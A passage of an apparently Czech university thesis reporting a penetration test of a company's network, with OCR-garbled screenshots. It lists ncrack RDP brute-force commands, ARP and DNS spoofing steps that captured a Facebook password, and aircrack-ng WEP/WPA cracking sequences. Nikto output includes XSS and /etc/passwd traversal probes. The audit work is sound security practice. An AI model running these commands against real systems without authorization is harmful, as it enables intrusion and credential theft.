Ff Overviev Analysis Sessions Campaigns Web Apps Modules Tags Reports Tasks
Overview
$ Scan mport <) Nexpose ¥» WebScan ¥ Bruieforce ) Exploit J Campaign ® Stop al tasks

Dashboard

Target System Status Operating Systems (Top §)

® 10 - Unknown

® 12 - Discovered 2- Linux

Network Services (Top 5)

Project Activity (24 Hours)
@ 13-DNS Senices
10 - SMB Senices
@ B-H.323/Q.931 Senvices
'. ® 7-HTTP Senices

® 7-DCERPC Senices

Obrazek 27. Pouziti programu Metasploit Pro — hlavni menu

. Project - Nsolcz v A t-testy A
@ metasploit
Fr | verview Analysis Sessions Campaigns Web Apps Modules Tags Reports Tasks o
Task 2 ) cone
Srarted: 2013-05-27 05
Exploiting tasrivez) [} 37 136:443 - wtart wright questboo pi Arbitrary Command Executior 1% r o -
pse Tinute

Obrazek 28. Pouziti programu Metasploit Pro — prub¢h testl



UTB ve Zliné, Fakulta aplikované informatiky, 2013 109
. Project - Nsolcz v A t-test ¥ Admink ion ¥
@ metasploit
Ly Overview Analysis Sessions Cam paigns Web Apps Modules Tags Reports Tasks
Hosts
% Scan Impart ¥ WebScan £ Modules Bruteforce ) Exploit lew Hos:
j Hosts Motes || § Senices || (@ Vulnerabilities | B Captured Data ||[3] Network Topolagy
Show 100 °  enmies
] IP Address Hosmame Operating System VM Purpose Swecs  Vins  Act Tags Updated Stams
37 139 Unkriown 12 125 wout Lrhourage (D)
37.138 Unknown 1 EUTSTTTECN Scanned )
37 136 Unknown i aour Lrourage (D
Unknown ot Lhorzge  (EREISTD)
Unkrown 1 ot Lheursge | (EETISTD)
Unknown ! 16 ETSUITES N Scanned )
& Linux (Debian) ! 17 sbout Lhowrage (L)
Uniknown a ot Lhoursge (T
O Unknown 248 pout Lhourage ()
O Unknown 11 248 sbout Lhourage (R aan D
O Unknown 12 about 1 hour ago [ scanned ]
B Linusc (Cereos : 2 ot 1hevrage (IR
Showing 1 1o 12 of 12 entries First | Previous | |1 Hext |Last

Test ¢. 7

Obrazek 29. Pouziti programu Metasploit Pro — vysledek testi

Pouzity nastroj: Ncrak (BackTrack)

Diivod pouziti néstroje: Utok na ptihlageni vzdalené plochy (atok hrubou silou)

Prikazy:

* ncrack -VV -U /root/users.txt -P /root/pass.txt XXX.XXX.209.45:3389
* ncrack -VV -U /root/users.txt -P /root/pass.txt XXX.XXX.209.46:3389
* ncrack -VV -U /root/users.txt -P /root/pass.txt XXX.XXX.37.138:3389
* ncrack -VV -U /[root/users.txt -P /root/pass.txt XXX. XXX.37.136:3389
* ncrack -VV -U /[root/users.txt -P /root/pass.txt XXX. XXX.37.136:3390

Vysledek: Nedoslo k prolomeni Zadného z hesel

Starting Ncrack @.4ALPHA ( http://ncrack.org )

rdp://

.209.46:

ck finished.
~#

ned i

finished.

.209.46:

Obrazek 30. Pouziti programu Ncrack — pokus o prolomeni kli¢e hrubou silou
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5.2 Interni testovani

Test ¢. 8

Pouzity nastroj: Zenmap (BackTrack)

Duvod pouZziti nastroje: Zmapovani interni sité

Vysledek: Zmapovani cile

Zenmap

Obrazek 31. Pouziti programu Zenmap — ping na okolni prvky site

Tools Profile Help

Target: |192.16B.0.(),’16 m Profile: IPing scan
Command: | nmap -sn 192.168.0.0/16
Hosts Services Nmap Output lPorIsJHosts Topology ‘Host Details ‘Scans ‘
05 Host I ‘nmapfsn 192.168.0.0/16 |v ‘ ‘Details|
®  192.168.47.140 Host is up (0.820s latency). [
®  192.168.47.141 Nmap scan report for 192.168.47.145
Host is up (0.018s5 latency)
§ 192.168.47.142 Nmap scan report for 192.168.47.148
& 192.168.47.145 Host is up (0.817s latency).
® 192.168.47.148 nmap scan report for router [ nistni
. (192.168.48.1)
& router EEMI Host is up (©.88027s latency).
®  srvpdc. .M MAC Address: 00:0C:42:jismilmie (Routerboard.com)
@ monitoring. Nmap scan report for srvpdc. . mistni
e (192.168.48.5)
W srvwss M 2 Host is up (©.80095s latency).
®  192.168.48.41 MAC Address: 80:15:5D: (Microsoft)
Nmap scan report for monitoring. M. mistni
192.168.48.50
w (192.168.48.24)
#  192.168.48.57 Host is up (©.88023s latency).
#  192.168.48.59 MAC Address: 80:15:5D: (Microsoft)
Nmap scan report for srvwss JENistni
&  192.168.48.140 (192.168.48.30)
¥  192.168.48.147 Host is up (B.00024s latency).
# 192.168.48.150 MAC Address: A4:4C:11* (Unknown)
: Nmap scan report for 192.168.48.41
& gsm_voip I Host is up (0.80031s latency).
® 192168.48.153 MAC Address: 00:07:E9 SN (Intel)
68.48.207 ¥ Nmap scan report for 192.168.48.50
“‘w Gl Host is up (0.0060s latency).
e — MAC Address: 00:1B:AS SN (Brother v

Zenmap

Target: I 192.168.50.0/24

v, [scan]

m Profile: LRegular scan

Command: | nmap 192.168.50.0/24

Hosts Services

05 | Host v

Nmap Output | Ports / Hosts  Topology | Host Details | Scans |

| nmap 192.168.50.0/24 |w ‘ ‘Details|

192.168.50.5
192.168.50.6
192.168.50.9
192.168.50.10

sEee

Filter Hosts

Nmap scan report for 192.168.50.5 A
Host is up (©.8837s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
21/tcp open Tip

22/tcp  open ssh

23/tcp open telnet

53/tcp open domain

80/tcp open http

1723/tcp open pptp

2000/tcp open cisco-sccp
8291/tcp open unknown

Nmap scan report for 192.168.50.6
Host is up (©.824s latency).

Not shown: 9394 closed ports

PORT STATE SERVICE

21/tcp  open ftp

25/tcp  filtered smtp

53/tcp open domain

1723/tcp open pptp

2000/tcp open cisco-sccp
8291/tcp open unknown

Nmap scan report for 192.168.50.9
Host is up (©.8832s latency).
Not shown: 992 closed ports

v
nanT FTATE crnuTer | A

Obrazek 32. Pouziti programu Zenmap — vysledek skenovani porta
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Test €. 9

Pouczity nastroj: arpspoof, driftnet, urlsnarf, warkshark

Divod pouziti ndstroje: Utok technikou ,,MITM*“ ARP Spoofing a nasledné moznosti
odposlouchéavani

Pouzité prikazy:

* echo 1 > /proc/sys/net/ipv4/ip_forward

» arpspoof -i ethO -t 192.168.48.136 192.168.48.1

» arpspoof -i eth0 -t 192.168.48.1 192.168.48.136

« dirtnet -i ethO

* urlsmart -i ethO

Vysledek: Pomoci techniky MITM doSlo k prokdzani neucinnosti firewallu a bylo tak

umoznéno odposlouchavani komunikace klient-firewall

= root@bt: ~
File Edit View Terminal Help

Obrazek 33. Povoleni routovani a jeho ovéfeni
root@bt: ~

File Edit View Terminal Help
:~# ifconfi :

~# driftnet -i ethe

Obrazek 34. Pouziti aplikace Drifnet — grafické zobrazeni routovaného obsahu
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Capturing from eth0 [Wireshark 1.8.3 (SVN Rev Unknown from unknown)]

File Edit View Go Capture Analyze Statistics Telephony Tools Intemals Help

B sZxceg Qe vy T2 EB aaaRl @EE K -

Filter: ‘ | v | Expression...

No. Time Source Destination Protocol | Length | Info R
6167 142.6812630(192.168.48.136 199.7.71.190 54 compaq-scp > http [RST, ACK] Seq=188 Ack=1369 Win|
6168 143.0238730(AppleCom_a2:b2:57 Broadcast ARP 60 Who has 192.168.1.17 Tell 192.168.1.23
6169 143.1783330(Parallel 38:33:el Routerbo e6:ad:56 ARP 42 192.168.48.136 is at 00:1c:42:38:33:el
6170 143.2224348(Parallel_38:33:el FujitsuS_bb:83:1c ARP 42 192.168.48.1 is at ©0:1c:42:38:33:el (duplicate u
6171 143.29608160(Microsof 30:83:0a Broadcast ARP 66 Who has 192.168.48.527 Tell 192.168.48.5
6172 143.3984750(feB0::1cec: 7c6:5ee0: 1! ffO2::1:2 DHCPvE 163 Solicit XID: ©xc47bce CID: 0001000114a5605d760155d
6173 144.02408650(AppleCom_a2:b2:57 Broadcast ARP 66 Who has 192.168.1.17 Tell 192.168.1.23
6174 144.15973801192.168.48.102 192.168.48.255 NBNS 92 Name query NB BR886ODN-SERVIS<00>
6175 144.2280348(Microsof_30:83:0a Broadcast ARP 60 Who has 192.168.48.527 Tell 192.168.48.5 | 3
6176 144.90877001192.168.48.102 192.168.48.255 NBNS 92 Name query NB BR886ODN-SERVIS<00> l
6177 145.0243960(AppleCom_a2:b2:57 Broadcast ARP 60 who has 192.168.1.17 Tell 192.168.1.23 r"

= e+
I= Frame 1: 6@ bytes on wire (480 bits), 60 bytes captured (4808 bits) on interface @

I> Ethernet II, Src: AppleCom a2:b2:57 (@@:1b:63:a2:b2:57), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

I> Address Resolution Protocol (request)

eeep ff ff ff ff ff ff 80 1b 63 a2 b2 57 ©8 86 €8 01
8010 ©8 €0 B6 04 €0 01 80 1b 63 a2 b2 57 cb a8 €1 17
0020 00 €0 00 00 00 60 cP a8 01 01 60 06 00 00 00 0O
0030 00 60 06 00 00 60 66 @O 00 00 0O 0O

O ¥ eth0: <live capture in progress> File: 2 Packets: 6177 Displayed: 6177 Marked: 0 % Profile: Default

Obrazek 35. Pouziti programu Wireshark — detailni zobrazeni odposlechnutého paketu

Test €. 10

Pouzité nastroje: warkshark, set, ettercap

Diivod pouziti néstroje: Utok technikou ,,MITM*“ DNS Spoofing a nasledna moZnost
pfesmérovani provozu na jinou adresu a moznost odposlouchavani hesel

Pouzité prikazy:

« echo 1 > /proc/sys/net/ipv4/ip_forward

« vim /usr/local/share/ettercap/etter.dns

o /set

« ettercap -T -q -i ethO -P dns_spoof -M arp //

Vysledek: Pomoci techniky MITM doSlo k prokdzani neucinnosti firewallu a bylo tak
umoznéno odposlouchavani komunikace klient-firewall v€etné ziskani ptihlaSovacich

udajti do facebooku.
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= root@bt: ~/set

File Edit View Terminal Help
3 om Inm g

root@bt: ~

Terminal Help

int

: ANY (all the

root@bt: ~/set
File Edit View Terminal Help

Obrazek 38. Pouziti programu SET — Zachyceni uzivatelského hesla do Facebooku
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5.3 Testovani bezdratovych siti

Test €. 11
Pouzité nastroje: airmon-ng, airodump-ng, aireplay-ng, aircrack-ng
Duvod pouziti nastroji.: Pokus o prolomeni WEP Sifrovani ptistupového bodu na jedné
Z vybranych pobocek za ucelem ziskani klice (prinikovy test)
Pouzité prikazy:
« airmon-ng start wlan0
* airodump-ng mon0
« airodump-ng -w nsol -c¢ 5 --bssid 00:02:2D:XX:XX: XX mon0
e aireplay-ng -1 0 -a 00:02:2D:XX: XX: XX mon0
« aireplay-ng -3 -b 00:02:2D: XX:XX: XX mon0
» aircrack-ng nsol-02.cap
Vysledek: Byl ziskan pozadovany kli¢
root@bt: ~

File Edit View Terminal Help
i~# ai tart w

root@bt: ~
File Edit View Terminal Help

#Data, #/s C B CIPHER AUTH ESSID

4]
[¢]
1
1

I-I
1
[¢]
[¢]
[¢]

[¢]
[¢]
[¢]
1

Obrazek 40. Pouziti aplikace Airodump-ng — vyhledavani sité
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=] root@bt: ~
File Edit View Terminal Help

El

root@bt: ~
File Edit View Terminal Help

root@bt: ~
File Edit View Terminal

i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i

Obrazek 43. Pouziti aplikace Aireplay-ng — generovani provozu za ticelem ziskani vice dat pro prolomeni
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root@bt: ~

Obrazek 44. Pouziti aplikace Aircrack-ng — prolomeni Sifrovani WEP a nalezeni klice

Test ¢. 12

Pouzité nastroje: airodump-ng, aireplay-ng, aircrack-ng

Duvod pouziti nastroju: Pokus o prolomeni WPA Sifrovani ptistupového bodu na jedné
Z vybranych pobocek za tcéelem ziskani kli¢e (prinikovy test)

Pouzité prikazy:

* airmon-ng start wlan0

« airodump-ng mon0

« airodump-ng -w nsol -¢ 11 --bssid D4:CA:6D: XX:XX:XX mon0

« aireplay-ng -0 10 -a D4:CA:6D: XX:XX: XX -¢ 00:1C: B3:XX: XX:XX mon0
« aircrack-ng nsol-01.cap -w /root/pass.txt

Vysledek: Ani po 24 hodinach nedoslo k prolomenti Sifrovani

= root@bt: ~
File Edit View Terminal Help

El 45 ]

Obrazek 45. Pouziti aplikace Airodump-ng — vyhledavani sité
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a root@bt: ~

File Edit View Terminal Help

CH 11 ][ El

STATION

Obrazek 46. Pouziti aplikace Airodump-ng — zachytavani paketi do souboru

a root@bt: ~
File Edit View Terminal Help

a root@bt: ~

File Edit View Terminal Help

BD
DF DF

) 55 D1 9C

Obrazek 48. Pouziti aplikace Aircrack-ng — pokus o prolomeni Sifrovani WPA hrubou silou
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5.4 Testovani webovych aplikaci

Test ¢. 13

Pouzity nastroj: Acunetix

Duvod pouziti nastroje: Otestovani aktualniho stavu webovych stranek a poukazani na

ptipadné hrozby v grafické podob¢ vysledki
Vysledek:

*Na serveru XXX.XXX.188.20 doslo k upozornéni na neaktualnost serveru apache.

Aktualni verze apache je 2.4.4.

* Test na serveru XXX.XXX.209.48 poukézal na mozné riziko DoS utoku a prochdzeni

adresarové struktury webovych stranek

Scan Results
=} Il Scan Thread 1 ( hitp: /[N 203.48:80/ )
= [illy Web Alerts (140)
@ PHP Hash Collision Denial Of Service Vulnerability {1)
&) Apache httpd Remote Denial of Service (1)
& Apache httpOnly Cockie Disdosure (1)
& Application error message (13)
&b Directory Listing (29)
& Error message on page (1)
&) PHP hangs on parsing particular strings as floating point number (1)
&b PHP multipart/form-data denial of service (1)
) User credentials are sentin dear text (4)
@ Apache 2.x version older than 2.2.10 (1)
@ Possible sensitive directories (1)
@ Ssession token in URL (6)
@ TRACE method is enabled (1)
@ Broken links (45)
@ Email address found (10)
@ Error page Web Server version disdosure (1)
@ GHDB: AllMyPHP (2)
@ GHDB: phpMyAdmin (3)
@ Password type input with auto-complete enabled (8)
@ Possible server path disdosure (Unix) (2)
@ Possible username or password disdosure (2)
7 @ Knowledge Base (&)
= () Site Structure
-3 /
+- (g »sluzby
+- [ docs
+- (5 files
+- (g font
i3 icons
+- [ includes
- G s
+- (G phpmyadmin
+- (P styles
+- [ internet
I kontakty
+- (53 o-firme
G2 partneri
+- g sluzby
+- (5 techden
H- (5D televize
I volna-mista
[ a
E index.php
wew \ariation 1 for user-agent
wew \arigtion 2 for user-agent
+- [&] Cookies

S ._|J_1 Alerts summary
F

™ acunetix threat level

Level 3: High

Total alerts found

@ High

g
@ Low
@ Informational

5| Target information
Responsive
‘Web server banner
Operating system
Web server
Technologies

4 I
5 Statistics

Scan time

Mumber of requests
Average response time
Scan iteration

4 T

j Progress

i O O T O O Y O T i O O O i O i O Y == T O s ==

140 alerts )

Acunetix Threat Level

One or more
high-severity type
vulnerabilities have
been discovered by
the scanner. A
malicious user can
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Scan is finished 100,00% (&

Obrazek 49. Pouziti programu Acunetix — vysledek testovani severu XXX.XXX.209.48
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Scan Results iy Alerts summary 8 alerts =]
B ¢ ScanThread 1( .188.20)
= [l Web Alerts (8) ™ acunetix threat level Acunetix Threat Level
0 Apache 2.x version older than 2.2.5 (1) Cine ar more
0 Apache 2.x version older than 2.2.8 (1) R — medium-severity type
0 Apache 2.x version older than 2.2.9 (1) Eil::ﬁybéuze:c:::in

0 Apache httpd Remote Denial of Service (1) You should

- investigate each of
0 Apache hitpOnly Cockie Disdosure (1) these vulnerabilities
@ Apache 2.x version older than 2.2.10 (1)

@ TRACE method is enabled (1) Total alerts found 8
@l Error page Web Server version disclosure (1) @ High 0
B Knowledge Base o
7} site Structure Q@ Low :
@@/ @ Informational 1 B
[&] cookies
5 Targetinformation [l 188.20 [&]
Responsive true
Web server banner Apache/2.2.3 [CentO5)
Operating system Unix
Web server Apache 2.x

Technologies

4 nm [
|25 statistics 303 requests 5]
Sean time 4 minutes, 5 seconds

Mumber of requests 303

Average response time 130,02 milliseconds

Scan iteration 1

4 m (3

Response time histary

. Progress Scan is finished 100,003 (&

Obrazek 50. Pouziti programu Acunetix — vysledek testovani severu XXX. XXX.188.20

Test ¢. 14

Pouzity nastroj: Nikto2 (BackTrack)

Duvod pouziti nastroje: Otestovani aktudlniho stavu webovych stranek a poukazani na
ptipadné hrozby. Testovani bylo provedeno v prostedi ptikazového tadku (vyhoda: lze
vytvofit skript, vysledki je vice a jsou detailngjsi)

Prikazy + Vysledky testii:

perl nikto.pl -host XXX.XXX.209.48 -p 80

- Nikto v2.1.5/2.1.5

+ Target Host: XXX.XXX.209.48

+ Target Port: 80

+ GET /: Retrieved x-powered-by header: PHP/5.2.6-1+lenny9
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+ GET /: The anti-clickjacking X-Frame-Options header is not present.

+ HEAD /: Apache/2.2.9 appears to be outdated (current is at least
Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also
current.

+ HEAD /: PHP/5.2.6-1+lenny9 appears to be outdated (current is at least
5.4.4)

+ GET /favicon.ico: Server leaks inodes via ETags, header found with file
/favicon.ico, inode: 1728748, size: 894, mtime: 0x4b6cb936£3dcO

+ DEBUG HASH (0xa25a080) : DEBUG HTTP verb may show server debugging
information. See http://msdn.microsoft.com/en-
us/library/e8z01xdh%$28VS.80%29.aspx for details.

+ =-877: TRACE /: HTTP TRACE method is active, suggesting the host is
vulnerable to XST

+ -12184: GET /index.php?=PHPB8B5SF2A0-3C92-11d3-A3A9-4C7B08C10000:
/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals
potentially sensitive information via certain HTTP requests that contain
specific QUERY strings.

+ -3268: GET /files/: /files/: Directory indexing found.

+ -3092: GET /files/: /files/: This might be interesting...

+ -3268: GET /includes/: /includes/: Directory indexing found.

+ -3092: GET /includes/: /includes/: This might be interesting...

+ -3092: GET /phpmyadmin/changelog.php: /phpmyadmin/changelog.php:
phpMyAdmin is for managing MySQL databases, and should be protected or
limited to authorized hosts.

+ -3268: GET /icons/: /icons/: Directory indexing found.

+ -3268: GET /docs/: /docs/: Directory indexing found.

+ -3268: GET /styles/: /styles/: Directory indexing found.

+ GET
/phpmyadmin/export.php?what=../../../../../../../../../../../../etc/passw
d%00: Cookie phpMyAdmin created without the httponly flag

+ -3233: GET /icons/README: /icons/README: Apache default file found.

+ GET /phpmyadmin/: /phpmyadmin/: phpMyAdmin directory found

perl nikto.pl -host XXX.XXX.37.136 -p 80,443

- Nikto v2.1.5/2.1.5

+ Target Host: hosting.cs2lnextnet.cz

+ Target Port: 443

+ GET /: Retrieved x-powered-by header: ASP.NET

+ GET /: Server leaks inodes via ETags, header found with file /, fields:
0x9565eab6ae9cel:0

+ GET /: The anti-clickjacking X-Frame-Options header is not present.
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+ GET /wcXYR7NT.aspx: Retrieved x-aspnet-version header: 2.0.50727

+ OPTIONS /: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ OPTIONS /: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ GET /exchange/lib/AMPROPS.INC: Uncommon header 'x-ua-compatible' found,
with contents: IE=EmulateIE7

+ -3092: GET /files/: /files/: This might be interesting...

+ Target Host: hosting.cs2lnextnet.cz

+ Target Port: 444

+ GET /: Hostname 'hosting.cs2lnextnet.cz' does not match certificate's
CN
'i{RMC/ST=Bavaria/C=DE/emailAddress=serverview@ts.fujitsu.com/O=Fujitsu’

+ GET /666%0a%0a<script>alert ('Vulnerable') ;</script>666.Jjsp:
/666%0a%0a<script>alert ('Vulnerable');</script>666.jsp: Apache Tomcat 4.1
/ Linux is vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ GET
/servlet/org.apache.catalina.ContainerServlet/<script>alert ('Vulnerable')
</script>:
/servlet/org.apache.catalina.ContainerServlet/<script>alert ('Vulnerable')
</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by
invoking java classes. CA-2000-02.

+ GET

/servlet/org.apache.catalina.Context/<script>alert ('Vulnerable')</script>

/servlet/org.apache.catalina.Context/<script>alert ('Vulnerable')</script>
Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking

java classes. CA-2000-02.

+ GET

/servlet/org.apache.catalina.Globals/<script>alert ('Vulnerable')</script>

/servlet/org.apache.catalina.Globals/<script>alert ('Vulnerable')</script>
Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking

java classes. CA-2000-02.

+ GET

/servlet/org.apache.catalina.servlets.WebdavStatus/<script>alert ('Vulnera

ble')</script>:

/servlet/org.apache.catalina.servlets.WebdavStatus/<script>alert ('Vulnera

ble')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS)

by invoking java classes. CA-2000-02.

+ GET /nosuchurl/><script>alert ('Vulnerable')</script>:

/nosuchurl/><script>alert ('Vulnerable')</script>: JEUS is vulnerable to
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Cross Site Scripting (XSS) when requesting non-existing JSP pages.
http://securitytracker.com/alerts/2003/Jun/1007004.html

+ GET /~/<script>alert ('Vulnerable')</script>.aspx?aspxerrorpath=null:
/~/<script>alert ('Vulnerable')</script>.aspx?aspxerrorpath=null: Cross
site scripting (XSS) is allowed with .aspx file requests (may be
Microsoft .net). CA-2000-02

+ GET /~/<script>alert('Vulnerable')</script>.aspx:

/~/<script>alert ('Vulnerable')</script>.aspx: Cross site scripting (XSS)
is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02
+ GET /~/<script>alert ('Vulnerable')</script>.asp:

/~/<script>alert ('Vulnerable')</script>.asp: Cross site scripting (XSS)
is allowed with .asp file requests (may be Microsoft .net). CA-2000-02

+ GET /node/view/666\"><script>alert (document.domain)</script>:
/node/view/666\"><script>alert (document.domain)</script>: Drupal 4.2.0 RC
is vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ GET /mailman/listinfo/<script>alert('Vulnerable')</script>:
/mailman/listinfo/<script>alert ('Vulnerable')</script>: Mailman is
vulnerable to Cross Site Scripting (XSS). Upgrade to version 2.0.8 to
fix. CA-2000-02.

+ GET /index.php/\"><script><script>alert (document.cookie)</script><:
/index.php/\"><script><script>alert (document.cookie)</script><: eZ
publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02.

+ -27095: GET /bb000001l.pl<script>alert ('Vulnerable')</script>:
/bb000001.pl<script>alert ('Vulnerable')</script>: Actinic E-Commerce
services 1s vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ -54589: GET /a.jsp/<script>alert ('Vulnerable')</script>:
/a.jsp/<script>alert ('Vulnerable')</script>: JServ is vulnerable to Cross
Site Scripting (XSS) when a non-existent JSP file is requested. Upgrade
to the latest version of JServ. CA-2000-02.

+ GET /<script>alert ('Vulnerable')</script>.thtml:

/<script>alert ('Vulnerable')</script>.thtml: Server is vulnerable to
Cross Site Scripting (XSS). CA-2000-02.

+ GET /<script>alert('Vulnerable')</script>.shtml:

/<script>alert ('Vulnerable')</script>.shtml: Server is vulnerable to
Cross Site Scripting (XSS). CA-2000-02.

+ GET /<script>alert ('Vulnerable')</script>.jsp:

/<script>alert ('Vulnerable')</script>.jsp: Server is vulnerable to Cross
Site Scripting (XSS). CA-2000-02.

+ GET /<script>alert ('Vulnerable')</script>.aspx:

/<script>alert ('Vulnerable')</script>.aspx: Cross site scripting (XSS) is

allowed with .aspx file requests (may be Microsoft .net). CA-2000-02.
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+ -6662: GET /<script>alert ('Vulnerable')</script>:

/<script>alert ('Vulnerable')</script>: Server is vulnerable to Cross Site
Scripting (XSS). CA-2000-02.

+ -3092: GET /console: /console: This might be interesting...

+ -3483: GET /docs/<script>alert ('Vulnerable');</script>:
/docs/<script>alert ('Vulnerable');</script>: Nokia Electronic
Documentation is vulneable to Cross Site Scripting (XSS). CVE-2003-0801.
+ -6659: GET
/IpecoPmJiwWgBOWeNns7IyahEO0X7qOJP3M8RPfGFCosjO0LzoDWOMviAaECFtYr73g0iRpt 71
9pLUL520azNHzZajl1X11jUHyx3t7VnJdq24QYgZhikgpkF1523dPXE5enKonsQLO128tztpPlt
103z0gcAE50IipQ0ZjuxgyWdWHABrrVdszyTPGmssEFbg8wtYn7UFgPhZ £ ImXnXtKssGcRTQON
NYeeB<font%20size=50><script>alert (11l)</script><!--//--:
/IpecoPmIiwWgBOWeNns7IyahE0X7qOJP3M8RPfGFCosj0LzoDW6MViAaECFtYr73q0iRpt 71
9pLUL520azNHzZaj1X11jUHyx3t7VnJdgq24QYgZhikgpkF1523dPXE5enKonsQL0128tztpPlt
103z0gcAE50IipQ0ZjuxgyWdWHABrrVdszyTPGmssEFbg8wtYn7UFgPhZ fImXnXtKssGcRTQON
NYeeB<font%20size=50><script>alert(l11l)</script><!--//--: MyWebServer
1.0.2 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.

+ -701: GET /pls/help/<script>alert('Vulnerable')</script>:
/pls/help/<script>alert ('Vulnerable')</script>: Oracle 9iAS is vulnerable
to Cross Site Scripting (XSS). CA-2000-02.

perl nikto.pl -host XXX.XXX.37.137 -p 80,443

- Nikto v2.1.5/2.1.5

+ Target Host: mail.nsol.cz

Target Port: 80

GET /: Retrieved x-powered-by header: ASP.NET

+ GET /: The anti-clickjacking X-Frame-Options header is not present.

+ GET /exchange/lib/AMPROPS.INC: Uncommon header 'x-ua-compatible' found,
with contents: IE=EmulatelIE7

- Nikto v2.1.5/2.1.5

+ Target Host: mail.nsol.cz

+ Target Port: 443

+ GET /: Retrieved x-powered-by header: ASP.NET

+ GET /: Server leaks inodes via ETags, header found with file /, fields:
0x87df9017245¢cel:0

+ GET /: The anti-clickjacking X-Frame-Options header is not present.

+ GET /A3S5HPAO.aspx: Retrieved x-aspnet-version header: 2.0.50727

+ OPTIONS /: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ OPTIONS /: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ GET /exchange/lib/AMPROPS.INC: Uncommon header 'x-ua-compatible' found,

with contents: IE=EmulateIE7
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perl nikto.pl -host XXX.XXX.209.45 -p 80,443
- Nikto v2.1.5
+ Target Hostname: XXX.XXX.209.45
+ Target Port: 80
+ Server: Microsoft-IIS/7.5
+ Cookie ASP.NET SessionId created without the httponly flag
+ Retrieved x-powered-by header: ASP.NET
+ Retrieved x-aspnet-version header: 2.0.50727
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible
dirs)
+ Server leaks inodes via ETags, header found with file /favicon.ico,
fields: 0x3c41ad59888ccl:0
+ Server banner has changed from 'Microsoft-IIS/7.5' to 'Microsoft-
HTTPAPI/2.0' which may suggest a WAF, load balancer or proxy is in place
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ OSVDB-3092: /log.txt: This might be interesting...
+ 6544 items checked: 0 error(s) and 8 item(s) reported on remote host
+ Target IP: XXX.XXX.209.45
+ Target Hostname: XXX.XXX.209.45
+ Target Port: 443
+ SSL Info: Subject: /CN=nsol.cz
Ciphers: AES128-SHA
Issuer: /CN=nsol.cz
+ Server: Microsoft-IIS/7.5
+ Retrieved x-powered-by header: ASP.NET
+ Retrieved x-aspnet-version header: 2.0.50727
+ No CGI Directories found (use '-C all' to force check all possible
dirs)
+ Server banner has changed from 'Microsoft-IIS/7.5' to 'Microsoft-
HTTPAPI/2.0' which may suggest a WAF, load balancer or proxy is in place
+ Hostname '217.196.209.45' does not match certificate's CN 'nsol.cz'
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

perl nikto.pl -host XXX.XXX.209.46 -p 443
- Nikto v2.1.5/2.1.5
+ Target Host: mailhost.nsol.cz

+ Target Port: 443
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+ GET /: Server leaks inodes via ETags, header found with file /, fields:
0xW/81 0x1243586204688

+ GET /: The anti-clickjacking X-Frame-Options header is not present.

+ GET /: Hostname 'mailhost.cs2lnextnet.cz' does not match certificate's
CN 'Ventia'

+ OPTIONS /: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE,
OPTIONS

+ -397: GET /: HTTP method ('Allow' Header): 'PUT' method could allow
clients to save files on the web server.

+ -5646: GET /: HTTP method ('Allow' Header): 'DELETE' may allow clients

to remove files on the web server.

perl nikto.pl -host XXX.XXX.188.20 -p 80

- Nikto v2.1.5/2.1.5

+ Target Host: XXX.XXX.188.20

+ Target Port: 80

+ GET /: The anti-clickjacking X-Frame-Options header is not present.
+ HEAD /: Apache/2.2.3 appears to be outdated (current is at least
Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also
current.

+ -877: TRACE /: HTTP TRACE method is active, suggesting the host is
vulnerable to XST

+ =-3268: GET /icons/: /icons/: Directory indexing found.

+ GET /icons/README: Server leaks inodes via ETags, header found with
file /icons/README, inode: 1048684, size: 4872, mtime: 0x4c23b600

+ -3233: GET /icons/README: /icons/README: Apache default file found.
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5.5 Testovani fyzické bezpec¢nosti

Test €. 15
Test fyzické bezpecnosti probihal v ramci interniho testovani vizualni kontrolou vsech
¢asti systému vcetné porizeni fotodokumentace.
Vysledek:
» Zabezpeceni servrovny — servrovna sice byla zamcena a zabezpeCena proti vniknuti
cizi osoby, ale stile je umisténa ve spodni ¢asti budovy, kterd byla jiz v minulosti

vytopena pii zaplavach.

Obrazek 51. Zabezpeceni serverové mistnosti

» Zabezpeceni sitovych prvkll — sitové prvky byly umistény na viditelnych mistech

s moznosti jakékoliv manipulace (Slo o koncové prvky sité).
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Obrazek 52. Zabezpeceni sitovych prvki

* Zabezpeceni ukladani médii — firma svoje dokumenty uklada na sitové disky a fyzicka

média likviduje pomoci skartovaciho pfistroje.

Obrazek 53. Zabezpeceni ukladani médii
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» Zabezpeceni ptipojeni k Internetu — vstupnim bodem do Internetu je bezdratové spojent,

které je umisténo na fasadé budovy.

Obrazek 54. Zabezpeceni pfipojeni k internetu

* Zabezpeceni napéjeni k elektiiné — na vnéjsi stran¢ budovy se nachdzi hlavni rozvadéc
elektiiny, ktery je velice lehce dostupny, a tudiz je mozna manipulace s nim jakoukoliv

osobou.

Obrazek 55. Zabezpeceni napéjeni k elektiing
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5.6 Testovani pomoci socialniho inZenyrstvi

Situace pred zahajenim testovani

Zamgéstnanci byli proSkoleni a podpisem pracovni smlouvy se zavazali k ochrané
